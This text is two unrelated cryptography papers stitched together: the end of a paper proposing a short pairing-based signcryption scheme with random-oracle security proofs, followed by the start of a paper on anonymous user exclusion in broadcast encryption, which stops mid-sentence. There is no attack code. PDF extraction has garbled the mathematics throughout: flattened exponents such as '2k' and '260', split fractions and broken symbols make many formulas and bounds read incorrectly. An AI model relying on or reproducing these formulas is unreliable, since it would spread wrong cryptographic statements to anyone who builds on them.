
Definition 3.1. We say that (t, ε)-CDH assumption holds in G1 if no polynomial
time algorithm runs in time at most t, and has advantage at least ε in solving
CDH problem in G1.

q-Strong Diffie-Hellman Problem. The q-SDH problem in G1 is defined as
follows: given a (q + 1)-tuple (P, xP, ..., xqP ) as input, output a pair (c, 1

(x+c)P )
where c ∈ Z∗

p. An algorithm A has advantage ε in solving q-SDH in G1 if

Pr[A(P, xP, ..., xqP ) = (c,
1

(x + c)
P )] > ε

where the probability is over the random choice of generator P ∈ G1, the random
choice of x ∈ Z∗

p, and the coin toss of A.

Definition 3.2. We say that the (q, t, ε)-SDH assumption holds in G1 if no
polynomial time algorithm runs in time at most t, and has advantage at least ε
in solving the q-SDH problem in G1.
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4 The Short Signcryption Scheme

In this section, we first describe a short and efficient signcryption scheme SC =
(ComGen, KenGen, Signcrypt, Unsigncrypt) based on bilinear pairing. Then, we
add publicly verifiability property to it. The scheme is described below.

ComGen. Given the security parameter k and n, select two cyclic groups (G1, +)
and (G2, ·) of the same prime order p > 2k (note that G1, G2 can be chosen
as those of BLS’s signature [4]), a generator P of G1, a bilinear map e : G1 ×
G1 −→ G2, three hash functions H1 : (0, 1)∗ −→ Zp, H2 : G3

1 −→ (0, 1)n and
H3 : (0, 1)n −→ (0, 1)k, and an IND-CCA (Indistinguishability under Chosen
Ciphertext Attacks[12]) security symmetric encryption scheme (E, D). Then
I = {k, n, G1, G2, P, e, H1, H2, H3, E, D}.

KenGen. Every user picks his private key SKU from Z∗
p randomly and uniformly

and computes his public key PKU = SKUP .
Signcrypt. Given a message m ∈ (0, 1)∗, the recipient’s public key PKR and the

sender’s private key SKS, it does as follows.
1. pick r

R←− (0, 1)n and compute u = 1
H1(m)+SKS+r mod p.

2. compute U = uP ∈ G1, V = r ⊕ H2(U, PKR, uPKR) and then W =
Eκ(m||PKS) where κ = H3(r).

Finally form the signcryptext C = (U, V, W ).
Unsigncrypt. Upon receipt of the signcryptext C = (U, V, W ), the recipient

unsigncrypts it as follows.
1. parse C as (U, V, W ) and compute r = V ⊕ H2(U, PKR, SKRU).
2. compute m||PKS = Dκ(W ) where κ = H3(r).
3. if e(U, (H1(m) + r)P + PKS) = e(P, P ) then return the message m, else

return ⊥ to imply unsigncryption failure.

Public Verifiability. The consistency of the scheme is easy to verify. To prove
to the trusted third party (for short TTP) that the sender actually signcrypted
a message m, the recipient forwards (m, U, r, PKS) to the TTP. Then the TTP
accepts the proof by verifying whether e(U, (H1(m) + r)P + PKS) = e(P, P ),
where nothing about the private key of the recipient will be lost.

5 Security and Efficiency Analysis

In this section, we prove that the proposed signcryption scheme SC is secure in
the random oracle model.

5.1 Security Analysis

Theorem 1. In the random oracle model, if an adversary A has a non-negligible
advantage ε against the IND-SC-CCA security of the proposed scheme SC when
running in a time t and performing qSC Signcrypt queries, qUSC Unsigncrypt
queries and qHi queries to oracles Hi (for i = 1, 2, 3), then there exists an
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algorithm B that can solve the q-SDH problem in the group G1 for q = qSC +
qH1 + 1 with a probability

ε′ ≥ ε − 1/2n − qUSC(1/2n + 2/2k)

when running in a time t′ < t + (qUSC(qH3 + qSC) + 2qH2)te, where te denotes
the time required for one pairing evaluation.

proof. We describe how to construct an algorithm B that runs A as a subroutine
to solve the q-SDH problem in G1. Let (P, xP, ..., xqP ) be a random instance of
the q-SDH problem in G1. We can assume w.l.o.g. that q = qSC + qH1 + 1 since,
otherwise, B can issue dummy signcryption queries for itself. Subsequently, B
simulates the challenger and plays the game described in section 2.2 with the
adversary A as follows.

Preparation Phase. In this phase, B uses its input to compute a generator
Q ∈ G1 and a public key X = xQ such that it knows q − 1 pairs SQ =
{(ω1,

1
ω1+xQ), . . . , (ωq−1,

1
ωq−1+xQ)} as follows.

1. pick ω1, . . . , ωq−1 ∈ Zp randomly and uniformly and construct a poly-
nomial

f(t) = Πq−1
i=1 (t + wi),

then expand it f(t) = Σq−1
i=1 cit

i, where c0 �= 0.
2. compute Q = f(x)P = Σq−1

i=0 ci(xiP ) and X = xQ = Σq−1
i=1 cix

i+1P =
Σq

i=1ci−1(xiP )
3. If Q = 1, then there must exist some ωi = x which can be easily found.

Obviously, the q-SDH problem over G1 has been solved. Hence, we as-
sume that ωi �= x for i = 1, . . . , q − 1.

4. Let fi(t) = f(t)/(t + wi) = Σq−2
i=0 dit

i and compute 1
x+wi

Q = f(x)
x+wi

P =
Σq−2

i=0 di(xiP ) for i = 1, . . . , q − 1.
Initialization Phase. B sets PKU = X and the adversary A is initialized

with the generator Q and the attacking public key PKU .
Queries. The adversary A may initiate a series queries which will be conducted

as follows.
Hash Function Queries. To simulate hash queries, B maintains three lists

L1, L2 and L3 that are initially empty, where L2 = L1
2 ∪ L2

2. Let i be
a global variant initialized with 1. Hash queries on H3 are treated in
the usual way: B first searches the list L3 to find if the oracle’s value
was already defined at the queried point. If it was, B returns the de-
fined value. Otherwise, it returns an uniformly chosen random element
from the appropriate range and updates the list L3. The hash queries on
H1 are indexed by the count i. When a hash query H1(m) is asked,
B first checks whether there exits (m, h∗, j) ∈ L1. If it exists, then
return h∗, else choose a random value hi from Zp as the answer and
put the tuple (m, hi, i) into the list L1 and increment i. When being
asked a query H2(U1, U2, U3), B first checks if it was queried before. If
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it was, the previously defined value is returned, else B checks whether
(Q, U1, U2, U3) is a valid Diffie-Hellman tuple. If it is, B checks if L2

2
contains an entry (U1, U2, ., α) (where, the symbol . indicates the un-
known Diffie-Helllman value of U1 and U2). In this case, α is returned
and the tuple (U1, U2, U3, α, 1) is inserted into list L1

2. If no such en-
try exits, B returns a random string α

R←− (0, 1)n and inserts the tu-
ple (U1, U2, U3, α, 1) into list L1

2. If (Q, U1, U2, U3) is not a valid Diffie-
Hellman tuple, B returns a random string α

R←− (0, 1)n and inserts the
tuple (U1, U2, U3, α, 0) into list L1

2
Signcrypt Query. When A asks for a Signcrypt query on a message m with a

recipient’s public key PkR, B first queries H1(m) to get its value h1 and
an index i. Then it computes r = ωi−H1(m) mod p, obtains U = 1

ωi+xQ
and κ = H3(r) through H3-simulation and computes W = Eκ(m||PKR).
It then checks if L1

2 contains an entry (U, PkR, U3, α, 1). If this entry
exists, B computes V = r ⊕ α. Otherwise, it chooses V randomly from
(0, 1)n and computes α = r⊕V and puts the tuple (U, PKR, ., α) into list
L2

2. Finally, C = (U, V, W ) is returned as the answer to the signcryption
query.

Unsigncrypt Query. When A asks for a Unsigncrypt query on (U, V, W ), B
first searches list L1

2 to form the set J = {(U, PKU , U3, α, τ) : (U, PKU ,
U3, α, τ) ∈ L1

2}. If J is empty then return ⊥. Otherwise,
For every (U, PKU , U3, α, τ) ∈ J

compute r = α ⊕ V and query H2 on r to obtain k
compute m||PkS = Dk(C)
query hash function H1 on m
If e(U, (H1(m) + r)Q + PKS) = e(Q, Q) Then
return m

return ⊥
At the end of the stage Phase 1, A outputs two messages m0 and m1 with the

same bit length together with an arbitrary sender’s private key SkS . B generates
the challenge signcryptext C∗ = (U∗, V ∗, W ∗) as follows. At first, B chooses a
random string a ∈ Zp and computes U∗ = aQ + PKU = (a + x)Q. Then it
selects V ∗ and r∗ randomly from (0, 1)n and computes α∗ = V ∗ ⊕ r∗ and the
tuple (U∗, PKU , ., α∗) is put into list L2

2. Finally, B simulates H3(r∗) to get κ∗

and computes W ∗ = Eκ∗ [m||PKS ]. As a result, C∗ is sent to A, which then
performs a second series of queries at a stage Phase 2. These queries are handled
by B as those at the stage Phase 1.

At the end of the game, A just looks into the list L2 for tuples of the form
(U∗, PKU , Z∗, α∗, 1). If no such a tuple exists, B stops and outputs “failure”.
Otherwise, B can obtain

Z∗ = (a + x)PKU = (a + x)xQ = aPKU + Σq−2
i=0 ci(xi+2P ) + cq−1x

q+1P.

Hence, B can compute

xq+1P =
1

cq−1
(Z∗ − (aPKU + Σq−2

i=0 ci(xi+2P ))),
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which is the solution to the (q+1)-exponent problem[26]. At that moment, we are
done since the latter is known to be equivalent to the q-Diffie-Hellman Inversion
problem[26] which is a special solution to q-SDH problem(as explained in[26]).

Now we assess the probability of B’s success. let E1 be the event that A
queried the hash function H2 on (U∗, PKU , Z∗) such that Z∗ = (a + x)xQ,
E2 the event that A asked H3 on r∗. As long as the simulation of the attack’s
environment is perfect, the probability for E1 to happen is the same as in a real
attack. In real attack, when the simulation is perfect we have

Pr[A success] = Pr[A success|¬(E1 ∪ E2)]Pr[¬(E1 ∪ E2)]
+Pr[A success ∩ (E1 ∪ E2)]

≤ 1
2
(1 − Pr[E1 ∪ E2]) + Pr[E1 ∪ E2]

=
1
2

+
1
2
Pr[E1 ∪ E2] (1)

and then we have ε = 2Pr[A success] − 1 ≤ Pr[E1 ∪ E2] ≤ Pr[E1] + Pr[E2].
Obviously, Pr[E2] ≤ 1

2n . Now, the probability that the simulation is not per-
fect remains to be assessed. The only case where it can happen is that a valid
signcryptext is rejected in a Unsigncrypt query. It is easy to see that the prob-
ability to generate a valid signcryptext without asking hash oracles is at most
1/2n + 2/2k. Therefor, the probability to reject a valid signcryptext is thus not
greater than qUSC(1/2n + 2/2k). Hence ε′ ≥ ε − 1/2n − qUSC(1/2n + 2/2k). The
bound on B’s computation time is derived from the fact that every Unsigncrypt
query requires at most qH3 +qSC pairing evaluations, every H2 Hash query needs
two pairing evaluations and the extraction of the solution from L3 implies to
compute at most 2qH3 pairings. �

Theorem 2. In the random oracle model, if there exists an adversary F that has
a non- negligible advantage ε against the unforgeability of the scheme SC when
running in a time t, making qSC Signcrypt queries, qUSC Unsigncrypt queries
and at most qHi queries on oracles Hi (for i = 1, 2, 3), then there exists an
algorithm B that can solve the q-SDH problem in G1 for q = qSC + qH1 + 1 with
a probability

ε′ ≥ ε − (q − qSC)/2k − 1/2n − 2/2k

in a time t′ < t+(qUSC(qH3 +qSC)+2qH2)te, where te denotes the time required
for a pairing evaluation.

proof. The idea to prove this theorem is very similar to that of theorem 1. B
takes as input a random q-SDH problem instance (P, xP, ..., xqP ). It uses F as
a subroutine to solve that instance. Just as that in proof of theorem 1, in a
preparation phase, B constructs a generator Q of group G1 and a public key
X = xQ such that it knows q − 1 pairs (ω1,

1
ω1+xQ), . . . , (ωq−1,

1
ωq−1+xQ). It

initializes F with the generator Q and PkU = X . F then performs adaptive
queries that are handled by B exactly the same as in proof of theorem 1.
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At the end of the game, F outputs a signcryptext C∗ = (U∗, V ∗, W ∗) and a
recipient’s private key SKR. If F succeeds, then B can recover a valid message-
signature pair (m∗, (s∗, r∗)), where

s∗ =
1

H1(m∗) + x + r∗
Q =

f(x)
x + H1(m∗) + r∗

P.

B checks if the set SQ contains an entry (ω∗, s∗). If it contains, B outputs
“failure”. Otherwise, B can extract a solution to the q-SDH problem as follows.
Let c = H1(m∗)+ r∗. Using long division we write f as f(t) = g(t)(t+ c)+ γ for
some polynomial g(t) = g0 + g1t + ... + gq−2t

q−2 and γ ∈ Z∗
p . Then the rational

fraction f(x)
H1(m∗)+x+r∗ can be written as

f(x)
x + H1(m∗) + r∗

= g(x) +
γ

x + c
and hence s∗ = g(x)P +

γ

x + c
P.

From the latter equation we can compute 1
x+cP = 1

γ (s∗−g(x)P ). Now, (c, 1
γ (s∗−

g(x)P )) is a solution to the q-SDH problem.
Now we assess the probability of success of B. If the simulation is perfect

and B does not output “failure”, we can always get a solution. The probability
of B outputting “failure” is no more than (q − qSC)/2k, and the probability
of simulation is not perfect is at most 1/2n + 2/2k. Therefor, we have ε′ ≥
ε − (q − qSC)/2k − 1/2n − 2/2k. The computation time is analyzed the same as
in proof of theorem 1. �

5.2 Efficiency Analysis

We can select the base group G1 and the bilinear map from elliptic curves of [4],
which results in a group of 160 bits size(hereby the security parameter k = 160).
The difficulty of solving CDH problem in 160 bit size elliptic curve group is
almost identical to that of 1000 bit size finite fields. ¿From the view of efficiency,
we also set qUSC = 260 and n = 100. According to theorem 1, ε′ = ε − 1/2100 −
260(1/2100 +2/2100). One can easily see that ε′ ≈ ε. So the ciphertext expansion
of our scheme is 260 bits length which is relatively shorter than that of all
previously proposed schemes.

From the computational point of view, the signcryption operation of our
scheme needs only two scalar multiplications in G1 which is the same as Zheng’s
scheme [27]. And the unsigncryption operation needs one pairing and one scalar
multiplication as e(P, P ) can be computed in advance, which is a bit slower than
Zheng’s scheme [27]. So the computational cost of our scheme is comparable
with Zheng’s scheme [27]. But our scheme has a tight security reduction and a
shorter ciphertext expansion.

6 Conclusion

Signcryption is a useful tool to protect system security. In this paper, we pre-
sented an efficient and short signcryption scheme based on super singular elliptic
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curves. Its ciphertext expansion is very short (only about 260 bits) and the se-
curity reduction is tight. Furthermore, it provides a convenient non-repudiation
transferability without losing any secret information about the users.
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Abstract. We introduce a scheme for anonymous user exclusion in an encrypted
broadcast communication. It allows a broadcaster to change the transmission key
with a single message broadcasted to N users so that all but z excluded users can
retrieve the new key, and volume of the message is O(z). Our scheme is based on
Shamir’s secret sharing method based on polynomials with dynamic coefficients
and shares that evolve in time. No explicit ID’s and pseudonyms are used.

Keywords: key broadcasting, exclusion protocol, anonymity.

1 Introduction

We design a revocation scheme, for broadcast encryption systems, such as Pay-TV or
TV-over-Internet, where a set of authorized users changes dynamically, and only a small
number of users must be excluded from the transmission.

Encoding based on Lagrangian interpolation is one of the fundamental techniques in
this context. The problem addressed here is that enabling blocks reveal the pseudonyms
of the revoked users. This leads to privacy violation problems:

– By observing enabling blocks and user’s activities, an adversary may be able to link
identifiers from headers with physical persons. From this point the adversary knows
everything on users activity in the system.
– Data on individual users behavior, even without revealing users’ identity, might be
very valuable for example for competition.

Our main goal is to implement Lagrangian interpolation in the way that hides informa-
tion on which users are excluded and when.

Related Work. The problem of redistribution of session keys for broadcast encryp-
tion systems was introduced in [1]. A trivial solution is that the broadcaster separately
provides each authorized user with a new key. The volume transmitted O(N − z) is
proportional to the number of entitled users. If only a small number z of users gets
excluded, this yields a large communication overhead.

In recent years several exclusion protocols have addressed this issue, e.g. [2, 3, 4, 5,
6, 7, 8, 9]. We concentrate on those based on Shamir’s threshold secret sharing scheme
and Lagrangian interpolation in the exponent [5,6,7,8]. Lagrangian interpolation in the
exponent is also used in traitor tracing [5, 6, 8]. In all of these exclusion schemes the
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length of the new key broadcast is O(z). However, enabling blocks in these schemes
reveal shares of excluded users, which we consider as a drawback, as they can be used
to infer identities.

The idea of anonymity in broadcast encryption was studied in [10, 11]. The scheme
[10], suitable for rapid changes of the set of users, is based on Lagrangian interpo-
lation, but shares of the excluded users do not have to be broadcasted. The scheme
of [11], elaborated for case of encrypted file systems proved to achieve CCA (Chosen
Ciphertext Attack) privacy. Although preserving privacy, the schemes [10, 11] are not
exclusion protocols suited for a small number of excluded users. Paper [11] states as an
open problem, if private broadcast encryption with overhead sublinear in the number of
authorized users is feasible.

The New Result. We present the first privacy preserving exclusion scheme. Like
other efficient exclusion schemes its communication overhead is O(z). The scheme is
mainly based on revocation scheme of [8]. However, in our solution, shares of users
are parametrized and change dynamically in subsequent sessions We advocate that
this hides information on users’ activities. Like [5, 8, 7, 6], our scheme is based on
Lagrangian interpolation in the exponent, but a broadcaster’s secret polynomial Lt(x)=∑

i (ai(t) · xi) has coefficients in a form of functions parametrized by a free variable
t. Moreover, users’ nodes xu(t) of this interpolation are also parametrized by t. There-
fore values of shares of excluded users transmitted in headers change from session to
session. We also differ, from those schemes, in that we focus mainly on maintaining
privacy of revoked users, rather than other features, like traitor tracing.

2 The Protocol for Anonymous Distribution of Broadcast Keys

Let • σ be a strongly unforgeable signature scheme, (for a transformation of unforge-
able signatures into strong unforgeable signatures see [12])
• (E, D) be semantically secure symmetric key encryption/decryption scheme,
• Ω ⊂ N ∪ {0} be a set of indexes of all users in the system,
• B denote a broadcaster – entity broadcasting session keys to users from Ω,
• Φ ⊂ Ω be a set of indexes of users excluded (revoked) during a single session,

in the way they cannot retrieve the key distributed;
• zd be a number of extra dummy users that are always excluded, say zd = 10,
• z be a maximal number of users who can be excluded from receiving a single

session key (so |Φ| ≤ z), we assume that z ≥ 100 − zd,
• g belong to some group, let ordg = p be prime and let DLP in 〈g〉 be hard,
• α, β ∈ N \ {0} be small numbers (e.g. α, β ∈ {25, 26, . . . , 35}),
• γ be such that α + (z + zd) · β − γ ∈ N \ {0} is a small number, say ≤ 10,
• K = h(gk) denote the session key, where h stands for a collision resistant hash

function, and k ∈ Zp is chosen at random.

The parameters z + zd, g, ordg = p, function h and scheme σ are public.
Unless stated otherwise, from now on all arithmetic operations are performed in Zp,

i.e. in the field Fp. Symbols ⊥, || are used to denote a failure of decryption (i.e. rejection
of the argument) and concatenation respectively.
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On System Initialization broadcaster B performs the following steps:

1. B chooses a pair of keys (SK, VK) of scheme σ, and publishes the verification key
VK. Next he chooses parameters α, β, γ ∈ N.

2. For each i ∈ {0, 1, . . . , z + zd}, B creates polynomials ai(t) =
∑α

j=0 ai,jt
j such

that deg ai = α and ai,j are chosen at random from Fp.
3. B creates a secret polynomial

L(t, x) =
z+zd∑

i=0

(ai(t) · xi) . (1)

4. B creates a secret polynomial S(t) =
∑γ

j=0 sj · tj such that deg S = γ and sj are
chosen at random from Fp.

Many random values are generated for the purpose of broadcast transmission. The val-
ues should be produced in a way that allows the broadcaster to check if the software or
hardware he uses does not maintain any subliminal or kleptographic channel (see for
example [13]).

On Registration of a New User B performs the following steps:

1. B assigns an unused index u to a new user, hence substitutes Ω ← Ω ∪ {u}.
2. B creates a polynomial xu(t) =

∑β
j=0 xu,jt

j of degree β for xu,j ∈ Fp

chosen at random. The polynomial should have a property that we call
(β + 1)-indistinguishability: if we consider sequences composed of β + 1 values
produced by xu(t) for β +1 different random t0, then each such a sequence should
be computationally indistinguishable from a truly random one.

3. B computes Lu(t) = L(t, xu(t)):

Lu(t) = L(t, xu(t)) =
z+zd∑

i=0

(

ai(t) ·
(
xu(t)

)i
)

=
α+(z+zd)β∑

j=0

cu,jt
j (2)

for some coefficients cu,j ∈ Fp. If S(t) | Lu(t), he returns to Step 2.
4. B computes polynomials Pu(t), Qu(t):

Pu(t) =
δ∑

j=0

pu,jt
j , Qu(t) =

α+(z+zd)β−γ∑

j=0

qu,jt
j ,

such that δ = deg Pu might be slightly greater than deg S, and

Lu(t) = Pu(t) + Qu(t) · S(t). (3)

5. Over a secure channel, B sends to u his private key, i.e. the numbers:
(a) xu,j for j = 0, 1, . . . , β,
(b) pu,j for j = 0, 1, . . . , δ,
(c) gqu,j for j = 0, 1, . . . , α + (z + zd)β − γ.
Note that the users have no public keys.
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To Broadcast an Encrypted Message M the following steps are executed:

1. B chooses k ∈ Fp at random.
2. B chooses t0 ∈ Fp at random such that xu(t0) �= xu′(t0) for all u ∈ Φ, u′ ∈

Ω \{u} (since p is large, this condition is fulfilled with overwhelming probability),
and such that az+zd

(t0) �= 0, i.e. degx L(t0, x) = z + zd.
Value of t0 must be unique for each broadcast.

3. B constructs a set Ψ of cardinality z + zd in the following way:
(a) B substitutes Ψ ← ∅, and then for every u from Φ he adds xu(t0) to Ψ :

∀(u ∈ Φ) Ψ ← Ψ ∪ {xu(t0)} ,

(b) B generates a set R of cardinality z + zd − |Φ| of numbers chosen uniformly
at random: R = {ri ∈ Fp : 1 ≤ i ≤ z + zd − |Φ|}, such that

∀(u ∈ Ω, ri ∈ R) xu(t0) �= ri,

∀(i �= j) ri �= rj ,

and adds R to the set Ψ :
Ψ ← Ψ ∪ R.

4. B chooses x0 ∈ Fp \ Ψ and r ∈ Fp \ {0, 1} at random.
5. B computes gk+rL(t0,x0) and for each ψ ∈ Ψ computes grL(t0,ψ).
6. B generates the header H :

H =
〈
gk+rL(t0,x0), t0, x0, g

r, rS(t0),
(
ψ1, g

rL(t0,ψ1)
)

, . . . ,
(
ψ|Ψ |, grL(t0,ψ|Ψ|)

)〉
,

where ψ1, ψ2, . . . , ψ|Ψ | are all elements from the set Ψ , and pairs (ψi, g
rL(t0,ψi))

in the header are sorted according to values ψi.
7. For K = h(gk) broadcaster B prepares ciphertext EK(M), signs the string

H ||EK(M) and broadcasts the triple (σSK(H ||EK(M)), H, EK(M)).

The construction from Step 7 is directly borrowed from [11]. The signature in the triple
makes negligible the probability of CCA.

Key Recovery. After receiving a triple (σSK(H ||EK(M)), H, EK(M)) user’s u de-
vice performs the following steps:

1. with key VK the device verifies the signature σSK(H ||EK(M)), if it is invalid,
outputs ⊥ and stops.

2. computes

xu(t0) =
β∑

j=0

xu,jt
j
0, Pu(t0) =

δ∑

j=0

pu,jt
j
0, gQu(t0) =

α+(z+zd)β−γ∏

j=0

(gqu,j )tj
0 .

The first two values might be effectively calculated by the Horner scheme, the third
value requires only a small number of exponentiations.
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3. substitutes ψ0 ← xu(t0). If ψ0 = ψi for some i ∈ {1, . . . , |Ψ |}, i.e. if user u is
excluded, the device outputs ⊥ and stops.

4. otherwise it substitutes

grL(t0,ψ0) ← (gr)Pu(t0) · (gQu(t0))
rS(t0) = grPu(t0)+rQu(t0)S(t0) = grL(t0,xu(t0)).

5. For computed pair
(
ψ0, g

rL(t0,ψ0)
)

and pairs
(
ψi, g

rL(t0,ψi)
)
, where i=1, . . . , |Ψ |,

obtained from header H , user’s device computes the session key K = h(gk) for

gk =
gk+rL(t0,x0)

∏|Ψ |
i=0

(
(
grL(t0,ψi)

)�|Ψ|
j=0,j�=i

x0−ψj
ψi−ψj

)

=
gk+rL(t0,x0)

g
r
�|Ψ|

i=0

�
L(t0,ψi)·

�|Ψ|
j=0,j�=i

x0−ψj
ψi−ψj

� =
gk+rL(t0,x0)

grL(t0,x0)
.

6. Finally, the device performs decryption DK(EK(M)).

3 Users’ Anonymity

For the previous exclusion protocols based on Lagrangian interpolation each user is
assigned a single point used explicitly for the interpolation. For this reason the only
information hidden from a passive adversary is linking between the points assigned and
a physical person. However, this linking can be retrieved based on real life observations
of a user. So for reasons concerning personal data protection, implementing such an
exclusion protocol would be illegal in the EU. Our idea of “scrambling” the user ID’s
is that a user u is not assigned to a single point, but to a polynomial xu which, together
with the value t0 chosen at random by the broadcaster, determines the point used for
the interpolation.

The notion of anonymity and privacy has many different meanings in the context of
communication protocols (see anonymity bibliography [14]), none of them seems to
be universal enough. There is a trade-off between the strength of a definition and ability
to provide precise proofs in less trivial cases.

Here, we consider the following model of an adversary Mallet that tries to get infor-
mation about behavior of a user u:

1. We assume that the system has been broken by Mallet regarding key privacy, that is,
Mallet knows secret polynomials L, S and can get k corresponding to each header.
However, we assume that the private polynomials Pu, Qu of user u are not known
to Mallet.

2. Mallet is given a set of β headers for the moments when a user u has been excluded.
We assume that in these headers some number of values ψi can be attributed to z−1
colluding users. Then Mallet is given the next header H ′ and has to answer, if user
u has been excluded at this moment.

3. We assume that Mallet knows a priori probability q of excluding u at this moment,
so he is concerned with probability of excluding u conditioned by header H ′. We
show that H ′ does not help Mallet to give the right answer.
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Of course, all data from Points 1 and 2 does not decrease the chances of Mallet. First
observe that gk+rL(t0,x0), gr, rS(t0) can be removed from the header for the purpose of
the privacy analysis. Indeed, under our present assumptions they bring no information
for Mallet – he can compute them himself. The same applies to the values grL(t0,ψi).
Observe that x0 does not influence the probabilities who has been excluded by a header
H , since x0 is chosen after constructing all ψi. So we can reduce the problem to the
case that the header contains only t0 and the values ψi. Since the polynomials xu are
chosen stochastically independently of L and S, and the values ψi do not depend on L
and S, Mallet has the same chances in the attack based on the following information:

– points t
(j)
0 , ψ

(j)
i for j ≤ β and i ≤ zd + 1, where xu(t(j)0 ) is one of the values ψ

(j)
i

for j ≤ β (in order to simplify notation we assume that the dummies and the value
of xu(t(j)0 ) are among the first values ψ

(j)
i ),

– points t0 and ψi for i ≤ zd + 1, from header H ′.

Now we have to concern the probability that user u has been excluded conditioned
by header H ′. Our goal is to show that this probability remains q, so there is no gain for
Mallet from H ′. We consider the following process:

1. for user u, we choose β values, one from each set {ψ
(j)
1 , . . . , ψ

(j)
zd+1} for j =

1, . . . , β, uniformly at random,
2. for user u we choose a single value ψ ∈ Fp,
3. user u chooses with probability q to be excluded,

(a) if u has to be excluded, then we choose a subset of Fp of cardinality zd + 1
containing ψ, uniformly at random,

(b) otherwise, we choose a subset of Fp of cardinality zd + 1 that does not
contain ψ.

It is easy to see that the choice performed at Steps 1 and 2 corresponds to the random
choice of xu conditioned upon the assumption that user u has been excluded via headers
corresponding to the values from Point 1. Obviously, the conditional probabilities are
also uniform. Point 3 corresponds to the construction of the algorithm: if u becomes ex-
cluded, then ψ has to appear among the points from the header. The remaining pairwise
distinct zd elements are chosen uniformly at random from Fp \ {ψ}. If u is not among
excluded users, one value comes from an unknown user who has a polynomial chosen
at random - hence the value is also chosen uniformly at random, then zd different values
are explicitly chosen uniformly at random from the remaining elements of Fp.

Now we have to derive probability that a given set A ⊂ Fp of zd + 1 elements has
been chosen, and probability that A has been chosen according to option (a). Then we
will be able to derive conditional probability. First, it is straightforward to check that A
is chosen with probability

(zd + 1)β · 1
(zd+1)β ·

(

q · zd+1
p · 1

(p−1
zd

) + (1 − q) · p−zd−1
p · 1

( p−1
zd+1)

)

(which can be reduced to
(

p
zd+1

)−1
). Probability that A has been chosen according to

option (a) (i.e. that user u has been excluded) equals

(zd + 1)β · 1
(zd+1)β · q · zd+1

p · 1
(p−1

zd
) .
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So probability of the event that u has been excluded conditioned upon the event that the
set A appear in header H ′ does not depend on A. So this conditional probability must
be equal q.

Now let us consider even more powerful adversary. We assume that the adversary is
given β + 1 headers for which he knows that user u has been excluded. The problem
now is to derive polynomial xu (or equivalently a procedure that would decide whether
u has been excluded in a given header). This problem is equivalent to the following
algebraic task:

Problem 1. Given β + 1 tuples, each consisting of Z values (Z ≥ 2), and a value y.
Find all polynomials w(x) such that y = w(0) and for i ≤ β + 1, the ith tuple contains
w(i).

Complexity of this problem is at most Zβ−1 trial interpolations. For our choice of pa-
rameters β = 25, zd = 10, it equals 1124 ≈ 283 interpolations, which is infeasible. The
situation is even worse when we make a more realistic assumption that some number
(say 50%) of excluded users are not colluding with Mallet. In this case we would have
complexity 6024 ≈ 2140.

We are not aware of any efficient solution of Problem 1 in the literature. Let us
remark that it is a kind of a knapsack problem. Namely, let us consider Lagrangian
interpolation constructed from values at points 1, 2, . . . , β + 1. This is a linear com-
bination of the values at these points (taken from appropriate tuples) with coefficients
obtained for the arguments 1, 2, . . . , β +1. If we multiply the values by the correspond-
ing coefficients (in each tuple the same coefficient is used), then we reduce Problem 1
to the following knapsack problem:

Problem 2. Given β + 1 tuples, each consisting of Z values (Z ≥ 2), and a value y.
Find sequences s1, . . . , sβ+1 such that

∑
si = y and si is a member of the ith tuple for

each i.

A closely related knapsack problem is used by encryption system from [15].
Finally, one has to point out that some attention should be paid to implementation is-

sues. For instance, the broadcaster may choose a polynomial xv(t) of the form (w(t))η ,
where η|p − 1 (then η | gcd(β, p − 1)). As a result, for any t < p the order of xv(t)
divides (p − 1)/η. To eliminate a possibility of such a unfortunate choice it suffices to
take β such that gcd(β, p − 1) = 1.

4 Sketch of Security Analysis

Before we go into some details, note that as in [11], the danger of CCA is eliminated by
signatures σSK(H ||EK(M)). The signature is put also under EK(M), so it precludes
the man-in-the-middle attack from [11]. In the attack not the header H , but the message
M inside the ciphertext EK(M) is maliciously changed by a user who has paid for
the key K . In [11] the attack was aimed at users’ privacy, but disinformation or a kind
of phishing attacks must be taken into consideration as well. On the other hand, in
a Chosen Plaintext Attack aimed at the header Mallet might only choose the set of
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excluded users (all other parameters are chosen at random). Due to dummies this attack
has the same limitations as considered in Sect. 3. So we focus only on passive attacks.

The First Scenario We start with the following weak attack:

1. Mallet does not know the previous headers,
2. Mallet is either a user revoked by the current header, or he is not a valid user of the

system at all.
3. Mallet’s goal is to retrieve gk from the current header H .

Note, that the hash function applied should guarantee that exploiting the header H is the
only feasible way to derive the session key. By the construction, finding gk is equivalent
to finding

grL(t0,x0), (4)

which by (2) equals gr
�z+zd

i=0 ai(t0)xi
0 . Having only pairs (ψi, g

rL(t0,ψi)) for i = 1, . . . ,
z + zd, Mallet cannot interpolate grL(t0,x) at point x0. Indeed, due to degx L(t0, x)
Mallet needs one more share than contained in H . More precisely, for any Z ∈ 〈g〉 there
is a polynomial L′(t0, x) that agrees with the shares from H and such that grL′(t0,x0) =
Z (recall that in this scenario H is considered separately, disregarding the previous
headers). Moreover, rS(t0) from the header is consistent with Z . Indeed, since S is
chosen independently of L, the only connection with L is via secret keys of the users.
If Mallet has no secret keys, then such a Z cannot be excluded. If Mallet is one of
the users excluded, then, according to key recovery procedure, rS(t0) can be used to
derive Mallet’s share grL(t0,ψ). However, this share is already in the header, so the
identity from Step 4 of key recovery is already fulfilled and it is not influenced by the
choice of Z .

The Second Scenario

1. Mallet was a non-excluded user for some number of transmissions,
2. He has to derive the key for the current transmission, where he is excluded.

Let r(j), t
(j)
0 , x

(j)
0 denote the values used during the jth transmission mentioned in

Point 1. Note that in this case Mallet can interpolate any value gr(j)L(t(j)0 ,x). Does it help
to interpolate the value grL(t0,x0), where r, t0 are the values from the header mentioned
in Point 2? Let us assume for a while that Mallet use neither values r(j)S(t(j)0 ) and
rS(t0) nor the private keys. For the more delicate case of using this data and collusion
between the users see Sect. 4.2.

In order to show that Mallet cannot derive grL(t0,x) (or equivalently: cannot derive
the current key) assume for a moment that there is a procedure A that achieves this goal.
Now consider the following problem:

Problem 3. There are users U1, U2, . . ., user Uj has a private key r(j) and a public key

gr(j)
for j = 1, 2, . . .. Moreover, there is a user U with private key r and public key gr.

On demand, user Uj returns ar(j)
for a given a. For user U , we have values si and grsi ,

for i ≤ z + zd.
The problem is to derive grs for a given s, where s �= s1, . . . , sz+zd

.
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Of course, Problem 3 is a problem of forging an undeniable signature of a person hold-
ing r (the signature scheme was introduced in [16]), with the help of a group of people
holding other keys. Let us observe that with A, we could solve Problem 3. The first step
is to fix t0, x0 and t

(j)
0 , x

(j)
